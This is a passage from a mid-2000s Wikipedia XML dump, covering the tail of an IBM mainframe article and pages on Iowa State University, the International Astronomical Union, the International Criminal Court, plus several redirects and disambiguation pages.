The primary [[operating system]]s in use on IBM mainframes include [[z/OS]] (which followed [[MVS]] and [[OS/390]]), [[z/VM]] (previously [[VM/CMS]]), [[z/VSE]], [[z/TPF]],  and [[Linux on zSeries]]. A few systems still run [[MUSIC/SP]], another operating system. Previous operating systems for the [[System/360]] family and its successors included [[OS/360]] (with PCP, MFT, and MVT), BOS, TOS, [[DOS/360|DOS]], and SVS.  There are software-based emulators for the [[System/370]], [[System/390]], [[zSeries]], and [[ZSeries|System z9]] hardware, including [[FLEX-ES]] and the freely available [[Hercules emulator]] which runs under Linux and [[Microsoft Windows]]. The original [[OS/360]] and early [[MVS]] and [[VM/CMS]] versions have been released for free use.

===Middleware===
IBM mainframes run all the major enterprise [[transaction processing]] environments and [[database]]s, including [[CICS]], [[Information Management System|IMS]], [[WebSphere]] Application Server, [[DB2]], and [[Oracle Database|Oracle]]. In many cases these [[software]] subsystems can run on more than one mainframe operating system.

==See also==
*[[List of IBM products]]
*[[Amdahl Corporation]]
*[[IBM minicomputer]]

==References==
*Prasad, Nallur (1994). ''IBM Mainframes: Architecture and Design'', 2nd ed. McGraw-Hill Osborne Media. ISBN 0070506914.{{ref|old-book}}

==External links==
*[http://ibm.com/zseries Official IBM mainframe page (zSeries/z9)]

==Notes==
&lt;!-- Instructions for adding a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]].
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the relevant place in the body of the article.
     3) Take note of the name of the footnote that immediately proceeds yours. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same ref. won't work: you need two uniquely named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
 --&gt;
#{{Note|cost}} The acquisition price of one mainframe is higher than, say, one PC. However, that's a bit like saying the acquisition price of a train freight car is higher than the price of a bicycle basket. Both can move goods, but there the similarity ends, and the costs depend almost entirely on the tasks required of them. Mainframes reduce labor costs, software costs, and costs of outage, among other costs, because they are systems designed to achieve significant [[economies of scale]].
#{{Note|size}} Nowadays, because mainframes consolidate scores or even hundreds of otherwise individual servers, they consume less electricity and occupy less space than equivalent workloads executing on individual servers. Most 21st century data centers require much more space for distributed servers than for mainframes.
#{{Note|speed}} In single computational task terms. Weather modeling, protein folding analysis, nuclear explosion simulation, digital cinematography, and structural engineering analysis are examples of computational problems better suited to supercomputers. Mainframes are optimized for business transaction processing and large online database management, among other tasks.
#{{Note|alu}} Some of the arithmetic units and addressing features were optional on some models of the System/360. However, models were upward compatible and most were also downward compatible.
#{{Note|mem-protect}} Hardware memory protection was provided to protect the operating system from the user programs (tasks) and the user tasks from each other.
#{{Note|old-book}} Now dated. For details on the significant [[64-bit]] architectural changes, refer to IBM technical publications (see [[z/Architecture]]).

[[Category:IBM hardware|Mainframe]]
[[Category:Mainframe computers|*]]</text>
    </revision>
  </page>
  <page>
    <title>IBM minicomputer</title>
    <id>14873</id>
    <revision>
      <id>15912403</id>
      <timestamp>2004-09-21T23:35:26Z</timestamp>
      <contributor>
        <ip>216.115.228.126</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[IBM midrange computer]]</text>
    </revision>
  </page>
  <page>
    <title>Iowa State University</title>
    <id>14875</id>
    <revision>
      <id>41522905</id>
      <timestamp>2006-02-27T22:52:27Z</timestamp>
      <contributor>
        <ip>63.163.175.14</ip>
      </contributor>
      <comment>/* Alumni or faculty members */</comment>
      <text xml:space="preserve">{{University information |
 Width = 300 |
 TableColor = #FAFAD2 |
 TitleColor = #B22222 |
 Name = Iowa State University |
 Seal = IowaStateUniversitySeal.gif |
 SealWidth = 210 |
 Motto = Science with practice |
 Established = 1858 |
 SchoolType = [[Public university|Public]] |
 CurrentPresident = [[ISU notables#Geoffroy|Gregory L. Geoffroy]] |
 Location = [[Ames, Iowa| Ames]], [[Iowa|IA]], [[United States|USA]] |
 Undergraduate = 22,000 |
 Graduate = 4,700 |
 Faculty = 1,750 |
 Endowment = $489 million |
 Campus = [[urban area|Urban]], 1,984 acres (8 km&amp;sup2;) |
 SportsTeam = [[Iowa State Cyclones|Cyclones]]
[[Image:Iowa-State-University-sports-logo.png|50px|]]|
 Website = [http://www.iastate.edu/ www.iastate.edu]
}}

'''Iowa State University''' ('''ISU''') is a public [[land-grant university]] and [[Space grant colleges|space-grant university]] located in [[Ames, Iowa]]. The full official name is '''Iowa State University of Science and Technology'''. It was previously '''Iowa State College of Agriculture and Mechanic Arts''', a school created through the [[Morrill Land-Grant Colleges Act]].
 
The [[Iowa General Assembly]] in 1858, prior to the passage of the [[Morrill Act of 1862]], enacted legislation to establish an agriculture college and model farm. This college was named the State Agricultural College &amp; Model Farm. The location of [[Story County, Iowa|Story County]] was chosen on [[June 21]], [[1859]] after the state selection board received proposals from [[Johnson County, Iowa|Johnson]], [[Kossuth County, Iowa|Kossuth]], [[Marshall County, Iowa|Marshall]], [[Polk County, Iowa|Polk]], and [[Story County, Iowa|Story]] counties. The University is one of 60 elected members of the prestigious [[Association of American Universities]].

==Landmarks==
Nearing its [[sesquicentennial]] in 2008, ISU now has a number of landmarks on campus.
Please visit the [[ISU notables]] page for many of the beautiful landmarks.

==Academics==
[[Image:Fountain of Four Seasons.jpg|thumb|250px|left|[[ISU notables#Fountain of Four Seasons|Fountain of Four Seasons]] by [[ISU notables#Petersen|Christian Petersen]] with the [[ISU notables#Campanile|Campanile]] in the background]]
ISU is best known for its degree programs in [[science]], [[engineering]] and [[agriculture]]. ISU is also home of the world's first electronic digital computer, the [[Atanasoff Berry Computer]].

It consists of the following colleges:
* [http://www.ag.iastate.edu/ Agriculture]
* [http://www.bus.iastate.edu/ Business]
* [http://www.design.iastate.edu/ Design]
* [http://www.eng.iastate.edu/ Engineering]
* [http://www.hs.iastate.edu/ Human Sciences]
* [http://www.las.iastate.edu/ Liberal Arts and Sciences]
* [http://www.vetmed.iastate.edu/ Veterinary Medicine]

In addition to these seven colleges, the [http://www.grad-college.iastate.edu/ Graduate College] oversees graduate study in all fields. &lt;!--

===College of Agriculture===

===College of Business===

===College of Art &amp; Design===

===College of Education===

===College of Engineering===

===College of Family &amp; Consumer Sciences===

===College of Liberal Arts &amp; Sciences===

===College of Veterinary Medicine===

===Graduate College===
--&gt;

==Athletics==
{{main|Iowa State Cyclones}}
[[Image:ISU.PNG|right|200px]]

The sports teams are nicknamed the Cyclones, a name which dates back to 1895. That year, there were many occurrences of cyclones, or tornados. Also that year was when the Iowa State football team went to [[Northwestern University]] and defeated its team 36-0. The [[Chicago Tribune]] proclaimed &quot;Iowa cyclone devastates Evanstontown.&quot; 

The school colors are cardinal and gold. The mascot is Cy the Cardinal, who was introduced in 1954. This is likely a reference to the original nickname, the Cardinals. The Iowa State Cyclones play in the [[NCAA]]'s Division I-A as part of the [[Big 12 Conference]].

==VEISHEA celebration==
[[Image:CyRide buses.jpg|thumb|250px|Two [[ISU notables#CyRide|CyRide]] buses]]
Iowa State is also noted for [[VEISHEA]], an education and entertainment festival held on campus every spring. The name is an acronym of the original colleges of the institution when VEISHEA was established in 1922: Veterinary Medicine, Engineering, Industrial Science, Home Economics, and Agriculture. Its organizers claim it to be among the largest student-organized cultural festivals in the world. 

In recent years the festival has been marred by problems. Unruly students created a disturbance (&quot;rioted&quot;) on Welch Avenue in 1988 and 1992, prompting school officials to take away the traditional Thursday afternoon and Friday holidays before the celebration. Problems continued. In 1997, an underage non-student was fatally stabbed by another non-student outside a fraternity party. In response, alcohol was banned during VEISHEA. 

In 2004, a riot took place during VEISHEA when police confronted people during an off-campus party. Because of the riot, officials announced that there would be no VEISHEA festival during 2005 and a task force would consider the future of the celebration. In March 2005, [[ISU notables#Geoffroy|President Geoffroy]] announced that the festival will return in 2006, with events being moved from riot-prone Welch Avenue to central campus. In April 2005, the student group Leaders INspiring Connections (LINC) organized several events on what would have been [[VEISHEA]] weekend, including Operation Playground, a community service project involving 700 students building three playgrounds in the community. &quot;This Is Your April,&quot; was another opportunity for students to enjoy their campus atmosphere sponsored by the student government and numerous student groups.



==Iowa State University presidents==
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! # !! President !! Start of term !! End of term
|-
| 1 || [[Adonijah Welch]] || 1868 || 1883
|-
| 2 || [[ISU notables#Knapp|Seaman A. Knapp]] || 1883 || 1884
|-
| 3 || [[ISU notables#Hunt|Leigh S.J. Hunt]] || 1885 || 1886
|-
| 4 || [[ISU notables#Chamberlain|William I. Chamberlain]] || 1886 || 1890
|-
| 5 || [[ISU notables#Beardshear|William M. Beardshear]] || 1891 || 1902
|-
| 6 || [[ISU notables#Storms|Albert B. Storms]] || 1903 || 1910
|-
| 7 || [[ISU notables#Pearson|Raymond A. Pearson]] || 1912 || 1926
|-
| 8 || [[ISU notables#Hughes|Raymond M. Hughes]] || 1927 || 1936
|-
| 9 || [[ISU notables#Friley|Charles E. Friley]] || 1936 || 1953
|-
| 10 || [[ISU notables#Hilton|James H. Hilton]] || 1953 || 1965
|-
| 11 || [[ISU notables#Parks|W. Robert Parks]] || 1965 || 1986
|-
| 12 || [[ISU notables#Eaton|Gordon P. Eaton]] || 1986 || 1990
|-
| 13 || [[Martin C. Jischke]] || [[June 1]], [[1991]] || [[August 14]], [[2000]]
|-
| 14 || [[ISU notables#Geoffroy|Gregory L. Geoffroy]] || [[July 1]], [[2001]] || present
|}
== Alumni or faculty members ==
[[Image:George washington carver.jpg|thumb|250px|George Washington Carver]]
See [[ISU notables]] for a complete list.
* [[Roberta Green Ahmanson]], author and philanthropist
* [[John Vincent Atanasoff]] and [[Clifford E. Berry]] (see also [[Atanasoff Berry Computer]]), developers of the first digital computer
*[[Bennett Bean]], studio potter
* [[Georgina Jinkinson Bonesteel]], author and television show host
* [[Griffith Buck]], alumnus and professor of horticulture; developed nearly 100 new varieties of roses
* [[George Washington Carver]], first [[African-American]] student and faculty member; musician, artist, orator, athletic trainer and student leader
* [[Carrie Chapman Catt]], women's rights activist
* [[Clarence Chamberlin]], aviation pioneer
* [[Vine Deloria, Jr.]], Native American activist and author
* [[Lawrence D. Downing]], President of the Sierra Club
* [[Michael J. Dubes]], President of [[Conseco]] Insurance Group
* [[Charles Lester Fous]], CEO of Big Earl's and Big Earl's II
* [[John Garang]], former commander of [[SPLA]] and former vice president of [[Sudan]]
* [[Henry Gilman]], the &quot;Father of Organometallic Chemistry&quot;
* [[Tom Harkin]], U.S. Senator, Democrat, Iowa
* [[Steve 'Flash' Juon]], OHHLA Webmaster
* [[Jerry Junkins]], CEO of [[Texas Instruments]]
* [[Ted Kooser]], U.S. Poet Laureate and Pulitzer Prize winner
* [[Robert Krasa]], former Vice-President of [[Dow Corning]], former President and CEO of [[Haworth (company) | Haworth, Inc.]]
* [[Tom Latham]], U.S. Representative, Republican, Iowa
* [[Jay L. Lush]], pioneer of modern animal breeding
* [[Norma &quot;Duffy&quot; Lyon]], sculptor and butter artist
* [[Sally Pederson]], Lt. Governor of Iowa
* [[ISU notables#Petersen|Christian Petersen]], sculptor, whose works appear around campus.
* [[Hugh Sidey]], journalist for ''[[Life magazine|Life]]'' and ''[[Time magazine|Time]]'' magazines covering Presidents Eisenhower through Clinton and Washington insider
* [[Jane Smiley]], winner of the 1992 Pulitzer Prize for fiction
* [[George W. Snedecor]], statistician
* [[Mallory Snyder]], [[Sports Illustrated Swimsuit Issue|Sports Illustrated swimsuit model]], actress, [[MTV]]'s ''[[The Real World]]''.
* [[Stephen R. Walker]], television show host
* [[Henry Agard Wallace]], [[United States Secretary of Agriculture|U.S. Secretary of Agriculture]], [[United States Secretary of Commerce]], [[Vice President of the United States]], and founder of [[Pioneer Hi-Bred]]
* [[James Wilson (U.S. politician)|James Wilson]], professor who later became [[United States Secretary of Agriculture|U.S. Secretary of Agriculture]]

===Athletics===
* [[Mike Born]], former basketball player and IBA player and coach
* [[John Cooper (coach)|John Cooper]], football captain and MVP and later coach at Ohio State
* [[Tim Floyd]], former men's basketball coach with 81-49 record and only coach with three consecutive 20-win seasons.
* [[Dan Gable]], two-time NCAA wrestling champion and [[1972 Summer Olympics|1972 Olympic]] gold medalist who later became wrestling coach at the [[University of Iowa]]
* [[Weylan Harding]], Arena Football League head coach and former player
* [[Keith &quot;Lefty&quot; Moore]], CBA coach and former player
* [[Johnny Orr]], the most successful coach in Iowa State and Michigan men's basketball history
* [[Darryl Peterson]], NCAA all american and former professional wrestler
* [[Cael Sanderson]], four-time undefeated NCAA wrestling champion who won a gold medal at the [[2004 Summer Olympics]] in [[Athens]], [[Greece]]
* [[Jack Trice]], football player and pioneer for minorities in sports, died of injuries sustained in a football game
* NBA Players: [[Zaid Abdul-Aziz (born Donald A. Smith)]], [[Victor Alexander]], [[Bill Cain]], [[Kelvin Cato]], [[Marcus Fizer]], [[Jeff Grayer]], [[Fred Hoiberg]], [[Jeff Hornacek]], [[Paul Shirley]], [[Barry Stevens (basketball) | Barry Stevens]], [[Jamaal Tinsley]], [[Jackson Vroman]], and [[Dedric Willoughby]] 
* NFL Players: [[Richard Barker (American football player) | Richard Barker]], [[Jordan Carstens]], [[Ellis Hobbs]], [[Keith Krepfle]], [[J.J. Moses]], [[James Reed]], [[Sage Rosenfels]], [[Reggie Hayward]], [[Seneca Wallace]], and [[Tom Watkins]]

==Iowa State chronology==
Events occurring in the same year did not necessarily happen in the order presented here.

{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Year !! Event
|-
| 1858 || [[Iowa General Assembly]] enacted legislation for creation of the State Agricultural College &amp; Model Farm
|-
| 1859 || [[Story County, Iowa|Story County]] was the chosen county for the State Agricultural College &amp; Model Farm
|-
| 1860 || Construction starts on [[ISU notables#Farm House|Farm House]]
|-
| 1862 || [[Morrill Act of 1862]] was passed; college to be named Iowa State Agricultural College
|-
| 1884 || Construction of [[ISU notables#English Office Building|English Office Building]] finished
|-
| 1891 || Construction of [[ISU notables#Morrill Hall|Morrill Hall]] finished
|-
| 1891 || First run of [[ISU notables#Dinkey|Dinkey]] on [[July 4]]
|-
| 1892 || Addition made to the [[ISU notables#English Office Building|English Office Building]]
|-
| 1892 || Construction of [[ISU notables#The Hub|The Hub]]
|-
| 1895 || Football team nicknamed Cyclones for their performance against [[Northwestern University]]
|-
| 1895 || Severe water shortage; classes cancelled; spurred construction of the [[ISU notables#Marston Water Tower|Marston Water Tower]]
|-
| 1897 || Construction for the [[ISU notables#Campanile|Campanile]] was started on [[ISU notables#Central Campus|Central Campus]]
|-
| 1897 || Construction of the [[ISU notables#Marston Water Tower|Marston Water Tower]]
|-
| 1898 || Renamed the Iowa State College of Agriculture and Mechanical Arts
|-
| 1903 || Construction of [[ISU notables#Marston Hall|Marston Hall]] finished
|-
| 1904 || Construction first started on what would be the [[ISU notables#Alumni Hall|Alumni Hall]]
|-
| 1897 || End of operation of [[ISU notables#Dinkey|Dinkey]]; start of operation of an electric [[tram|streetcar]]
|-
| 1908 || Construction of [[ISU notables#Central Building|Central Building]] finished
|-
| 1908 || President's, Vice-president's, &amp; Treasurer's offices moved from [[ISU notables#Office Building|Office Building]] to [[ISU notables#Beardshear Hall|Beardshear Hall]]
|-
| 1920 || [[ISU notables#Edgar W. Stanton|Edgar W. Stanton]] dies and 26 bells are added to the [[carillon]] in the [[ISU notables#Campanile|Campanile]] (36 bells total)
|-
| 1922 || [[VEISHEA]] was established
|-
| 1928 || The marching band competes in a band contest held in conjunction with the Drake Relays in Des Moines
|-
| 1929 || Construction of the [[ISU notables#Memorial Union|Memorial Union]] finished
|-
| 1938 || [[ISU notables#Central Building|Central Building]] renamed to [[ISU notables#Beardshear Hall|Beardshear Hall]]
|-
| 1939 || The [[Atanasoff Berry Computer]] is first demonstrated
|-
| 1940 || English department moves into [[ISU notables#Office Building|Office Building]] and is renamed to [[ISU notables#English Office Building|English Office Building]]
|-
| 1941 || The [[ISU notables#Fountain of Four Seasons|Fountain of Four Seasons]] is sculpted by [[ISU notables#Petersen|Christian Petersen]].
|-
| 1954 || 13 more bells were added to the [[carillon]] in the [[ISU notables#Campanile|Campanile]] (49 bells total)
|-
| 1959 || Renamed the Iowa State University of Science and Technology
|-
| 1967 || [[ISU notables#Bessey Hall|Bessey Hall]] opens for use
|-
| 1967 || 1 more bell was added to the [[carillon]] in the [[ISU notables#Campanile|Campanile]] (50 bells total)
|-
| 1969 || Construction of [[ISU notables#Stephens Auditorium|Stephens Auditorium]] finished
|-
| 1973 || English and speech departments relocate from [[ISU notables#English Office Building|English Office Building]] to [[ISU notables#Ross Hall|Ross Hall]] &amp; [[ISU notables#Pearson Hall|Pearson Hall]], respectively. 
|-
| 1978 || [[ISU notables#Alumni Hall|Alumni Hall]] placed on the [[National Register of Historic Places]]
|-
| 1978 || The [[ISU notables#marston Water Tower|Marston Water Tower]] is disconnected from use. 
|-
| 1982 || The [[ISU notables#Marston Water Tower|Marston Water Tower]] is added to the [[National Register of Historic Places]]
|-
| 1983 || [[ISU notables#Marston Hall|Marston Hall]] placed on the [[National Register of Historic Places]]
|-
| 1984 || Library named the W. Robert and Ellen Sorge Parks Library
|-
| 1988 || First [[VEISHEA]] riot
|-
| 1992 || Second [[VEISHEA]] riot
|-
| 1996 || [[ISU notables#Morrill Hall|Morrill Hall]] determined unsafe for occupancy
|-
| 1997 || Restoration of the [[ISU notables#Marston Water Tower|Marston Water Tower]]
|-
| 1999 || [[ISU notables#Central Campus|Central Campus]] is listed as a &quot;medallion site&quot; by the [[American Society of Landscape Architects]]
|-
| 2003 || Control of the [[ISU notables#Memorial Union|Memorial Union]] was transferred to ISU
|-
| 2004 || [[VEISHEA]] riot; resulted in VEISHEA for 2005 being cancelled
|-
| 2004 || [[ISU notables#English Office Building|English Office Building]] demolished.  The Gerdin Business Building, a new high-tech 111,000 square foot (10,000 m&amp;sup2;) building equipped with the latest state-of-the-art technology, opens to replace the old business building in Carver Hall.
|-
| 2005 || Two of the Towers residence halls, Knapp and Storms, demolished by implosion
|-
| 2008 || [[Sesquicentennial]] of Iowa State
|}

==See also==
*[[Atanasoff Berry Computer]]
*[[Buildings of Iowa State University]]
*[[ISU notables]]
*[[ISUCF&quot;V&quot;MB]]
*[[Land-grant university]]
*[[Reiman Gardens]]

==External links==
*[http://www.iastate.edu/ Official site]
*[http://www.cyclones.com/ Athletics site]
*[http://www.collegefair.tv/ia_iowa_state_university.html Iowa State University admissions video on CollegeFair.tv]
*[http://www.iowastatedaily.com/ Iowa State Daily] (student newspaper)
*[http://iowa.stateuniversity.com/ Iowa State Information] (Unofficial)
*[http://www.ratemyprofessors.com/SelectTeacher.jsp?sid=452 Information from RateMyProfessors.com]
*[http://www.rofflehaus.com/wiki/Main_Page Student-run wiki for Iowa State University] (Unofficial)
*[http://www.veishea.iastate.edu/index.php?page=history The History of VEISHEA]

{{Big 12 Conference}}

&lt;!-- Look at the below category before adding another category --&gt;
[[Category:Iowa State University]][[Category:Universities and colleges in Iowa]]

[[fr:Université d'Iowa]]
[[ja:アイオワ州立大学]]
[[zh:&amp;#29233;&amp;#33655;&amp;#21326;&amp;#24030;&amp;#31435;&amp;#22823;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>IMDb</title>
    <id>14876</id>
    <revision>
      <id>25064308</id>
      <timestamp>2005-10-08T15:51:23Z</timestamp>
      <contributor>
        <username>Thorpe</username>
        <id>164156</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[The Internet Movie Database]] {{r_from_abbreviation}}</text>
    </revision>
  </page>
  <page>
    <title>Induction</title>
    <id>14877</id>
    <revision>
      <id>39026362</id>
      <timestamp>2006-02-10T05:09:04Z</timestamp>
      <contributor>
        <username>Mike Serfas</username>
        <id>362180</id>
      </contributor>
      <comment>Induction by morphogens (developmental biology)</comment>
      <text xml:space="preserve">The term '''induction''' has more than one meaning in the English language. Please see:
* [[Induction (philosophy)|Induction]] in the fields of [[philosophy]] and [[logic]], and used in [[science]] and the [[scientific method]].
* [[Mathematical induction]] is a method of proof in the field of [[mathematics]].
** [[Strong induction]], or Complete induction, is a variant of mathematical induction.
** [[Transfinite induction]] is a kind of mathematical induction.  
*** [[∈-induction]] is a kind of transfinite induction.
** [[Structural induction]] is a generalization of mathematical induction.
** Statistical induction is the same as [[inferential statistics]].
* [[Inductive reasoning aptitude]].
* [[Induction heating]].
* [[Electromagnetic induction]] in [[physics]] and engineering (see also: [[radio frequency induction]], [[Sunyaev-Zeldovich effect]]).
* [[Electrostatic induction]].
* [[induction (birth)|Induction]] of [[childbirth]].
* [[Atkins Nutritional Approach|Induction]] period related to the [[Atkins Nutritional Approach|Atkins diet]].
* [[Backward induction]] in [[game theory]] and [[economics]].
* Induction can refer to an [[initiation rite]], at times in the form of [[hazing]].
* [[Rhetorical induction]].
* In [[theatre]], Induction is the use of rumors to twist and complicate the plot of a play or to narrate in a way that does not have to state truth nor fact within the play.
* In [[enzymology]] and [[molecular biology]], the mechanism of appearance of a gene product; see [[Regulation of gene expression]].
* In [[developmental biology]], the development of a feature from part of a formerly homogenous field of cells in response to a [[morphogen]] whose source determines the feature's position and extent.

{{disambig}}

[[cs:Indukce]]
[[da:Induktion]]
[[de:Induktion]]
[[es:Inducción]]
[[fr:Induction]]
[[nl:Inductie]]
[[no:Induksjon]]
[[pl:Indukcja]]
[[pt:Indução]]
[[ru:Индукция]]</text>
    </revision>
  </page>
  <page>
    <title>International Astronomical Union</title>
    <id>14878</id>
    <revision>
      <id>40710139</id>
      <timestamp>2006-02-22T13:51:07Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">[[Image:IAU_logo.jpg|thumb|right|200px|Logo of the IAU]]

The '''International Astronomical Union''' ([[French language|French]]: ''Union astronomique internationale'') unites national [[astronomy|astronomical]] societies from around the world. It is a member of the [[International Council for Science]] (ICSU). It is internationally recognized as the authority responsible for naming stars, planets, asteroids, and other celestial bodies and phenomena in the scientific community.

Working groups include the Working Group for Planetary System Nomenclature (WGPSN), which maintains the [[astronomical naming conventions]] and [[planetary nomenclature]] for planetary bodies.  The IAU is also responsible for the system of [[Astronomical Telegrams]] which are produced and distributed on its behalf by the [[Central Bureau for Astronomical Telegrams]].  The [[Minor Planet Center]] (MPC), a clearinghouse for all non-planetary or non-moon bodies in the [[solar system]], also operates under the IAU.  

The IAU was founded in [[1919]], as a merger of various international projects including the ''[[Carte du Ciel]]'', the [[Solar Union]] and the [[International Time Bureau]] (''Bureau International de l'Heure''). The first president was [[Benjamin Baillaud]].  [[Pieter Johannes van Rhijn]] served as president from [[1932]] to [[1958]].

The IAU currently has 9040 individual members - i.e., professional astronomers - (mainly) at the [[PhD]] level; and 63 national members, i.e., countries that are affiliated with the IAU. 87 percent of all members are male; 13 percent are female. The current president is [[Ronald D. Ekers]].

The '''[http://www.astronomy2006.com XXVIth General Assembly]''' of the International Astronomical Union (August 2006) will be held in [[Prague]], [[Czech Republic]].

==Pop culture==
* In the song &quot;[[Planet X]]&quot; by [[Christine Lavin]], there are lyrics referring to both the IAU and WGPSN.  
* In the movie ''[[Deep Impact (film)|Deep Impact]]'', the actual scientific group to which the amateur would report the finding of a new asteroid would be the [[Minor Planet Center|MPC]].

==See also==
* [[Astronomical naming conventions]] 
* [[Planetary nomenclature]]

==External links==
*[http://www.iau.org/ Website of the International Astronomical Union]
*[http://www.astronomy2006.com XXVIth General Assembly 2006]

[[Category:Standards organizations]]
[[Category:Astronomy organizations]]

[[bg:Международен астрономически съюз]]
[[ca:Unió Astronòmica Internacional]]
[[da:Internationale Astronomiske Union]]
[[de:Internationale Astronomische Union]]
[[es:Unión Astronómica Internacional]]
[[eo:Internacia Astronomia Unio]]
[[fa:اتحادیه بین‌المللی اخترشناسی]]
[[fr:Union astronomique internationale]]
[[hr:Međunarodna Astronomska Unija]]
[[it:Unione Astronomica Internazionale]]
[[he:האיגוד האסטרונומי הבינלאומי]]
[[nl:Internationale Astronomische Unie]]
[[ja:国際天文学連合]]
[[nn:Den internasjonale astronomiske unionen]]
[[pl:Międzynarodowa Unia Astronomiczna]]
[[ru:Международный астрономический союз]]
[[sk:Medzinárodná astronomická únia]]
[[sv:Internationella Astronomiska Unionen]]
[[th:สหพันธ์ดาราศาสตร์สากล]]
[[vi:Hiệp hội Thiên văn Quốc tế]]
[[zh:國際天文聯會]]</text>
    </revision>
  </page>
  <page>
    <title>Interval</title>
    <id>14879</id>
    <revision>
      <id>36644772</id>
      <timestamp>2006-01-25T14:32:24Z</timestamp>
      <contributor>
        <ip>200.4.169.4</ip>
      </contributor>
      <comment>+ka</comment>
      <text xml:space="preserve">The term '''''interval''''' is used in the following contexts:

* [[Playing time (cricket)#Intervals|Playing time (cricket)]]
* [[Interval (mathematics)]] 
* [[Interval (music)]]
* [[Interval (time)]]
* A synonym for an [[intermission]] in theatre.

{{disambig}}

[[cs:Interval]]
[[da:Interval]]
[[de:Intervall]]
[[ka:ინტერვალი]]
[[nl:Interval]]
[[su:Interval]]
[[sv:Intervall]]</text>
    </revision>
  </page>
  <page>
    <title>International Criminal Court</title>
    <id>14880</id>
    <revision>
      <id>42092162</id>
      <timestamp>2006-03-03T19:52:14Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <comment>converting HTML to wiki markup using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:International Criminal Court logo.gif|thumb|Official logo of the ICC.]]

The '''International Criminal Court''' ('''ICC''') was established in 2002 as a permanent tribunal to prosecute individuals for [[genocide]], [[crimes against humanity]], and [[war crime]]s, as defined by several international agreements, most prominently the [[Rome Statute of the International Criminal Court]]. The ICC is designed to complement existing national judicial systems,
however, the Court can exercise its jurisdiction if national courts are unwilling or unable to investigate or prosecute such crimes, thus being a &quot;court of last resort,&quot; leaving the primary responsibility to exercise jurisdiction over alleged criminals to individual states.

Note that &quot;International Criminal Court&quot; is sometimes initialized as ICCt to distinguish it from &quot;[[International Chamber of Commerce]].&quot;  Also, the ICC is separate from the ''[[International Court of Justice]]'', which is a body to settle disputes between nations, and the [[War Crimes Law (Belgium)]].  

== Cases before the court ==
Three states parties (countries that have ratified the Court's [[Rome Statute of the International Criminal Court|Rome Statute]]) have referred situations to the Office of the Prosecutor (OTP) of the ICC:
* The [[Uganda|Republic of Uganda]] on [[January 29]], [[2004]]; 
* The [[Democratic Republic of the Congo]] on [[April 19]], [[2004]]; 
* The [[Central African Republic]] on [[January 6]], [[2005]]. 
* In March 2005, the OTP received its first [[United Nations Security Council]] referral for [[Darfur]], [[Sudan]].  

After rigorous analysis in accordance with the Rome Statute and the Rules of Procedure and Evidence, the Chief Prosecutor decided to open investigations into three situations: in the Democratic Republic of the Congo, in the Republic of Uganda, and in Darfur, Sudan [http://www.monuc.org/news.aspx?newsID=5480]. On [[October 6]], [[2005]] the ICC issued its first arrest warrants for the [[Lord's Resistance Army]] leader [[Joseph Kony]], his deputy [[Vincent Otti]], and LRA commanders [[Raska Lukwiya]], [[Okot Odiambo]] and [[Dominic Ongwen]].

===Potential cases===
====Alleged war crimes in connection with Invasion of Iraq in March 2003====
In March 2003, the [[United States]] and its allies, the [[United Kingdom]], [[Australia]] and [[Poland]] [[2003 invasion of Iraq|invaded]] [[Iraq]]. The UK, Australia and Poland are all  parties to the ICC Statute and therefore their nationals are liable to prosecution by the court for any relevant crimes. As the United States is not a party, American citizens can only be prosecuted by the court if the crime takes place in the territory of a state party (e.g. Jordan), or if the situation is referred to it by the Security Council.

The Office of the Prosecutor of the International Criminal Court reported in February 2006, that it had received 240 communications in connection with the invasion of Iraq in March 2003 which alleged that various war crimes had been committed. Many of these complaints concerned the British participation in the the invasion, as well as the alleged responsibility for torture deaths whilst in detention in British-controlled areas. [http://www.guardian.co.uk/print/0,3858,5187283-111289,00.html].

On [[2006-02-09]], Luis Moreno-Ocampo, Chief Prosecutor of the International Criminal Court, published a letter [http://www.icc-cpi.int/library/organs/otp/OTP_letter_to_senders_re_Iraq_9_February_2006.pdf] that he had sent to all those who had communicated with him concerning the above, which set out his conclusions on these matters, following a preliminary investigation of the complaints. He explained in his decision letter, that essentially two sets of complaints were involved.

#Complaints concerning the legality of the invasion itself;
#Complaints concerning the conduct of hostilities between March and May 2003, which included allegations in respect of 
##the targeting of civilians or clearly excessive attacks;
##wilful killing or inhuman treatment of civilians.

The Prosecutor's conclusions were as follows:

#He did not have authority to consider the complaint about the legality of the invasion. Although the ICC Statute includes the crime of &quot;aggression&quot;, it indicates that the Court may not exercise jurisdiction over the crime until a provision has been adopted which defines the crime and sets out the conditions under which the Court may exercise jurisdiction with respect to it.
#The available information did not provide sufficient evidence for proceeding with an investigation of the complaints in connection with targeting of civilians or clearly excessive attacks.
#The available information did provide a reasonable basis for believing that there had been an estimated 4 to 12 victims of wilful killing and a limited number of victims of inhuman treatment, totaling in all less than 20 persons. However this on its own was not sufficient for the initiation of an investigation by the ICC because the Statute requires consideration of admissibility before the Court, in light of the gravity of the crimes. Bearing in mind that a key consideration in this regard is the number of victims of particularly serious crimes, he concluded that the situation did not appear to meet the &quot;gravity&quot; threshold.

See further [[The International Criminal Court and the 2003 invasion of Iraq]]

== Development of the ICC ==
The development of the ICC followed the creation of several [[ad hoc]] tribunals to try war crimes in the former Yugoslavia and Rwanda ([[International Criminal Tribunal for the Former Yugoslavia]] in 1993, [[International Criminal Tribunal for Rwanda]] in 1994). Subsequently, it was desired to create a permanent tribunal, so that an ''ad hoc'' tribunal would not have to be created after each occurrence of these crimes. 

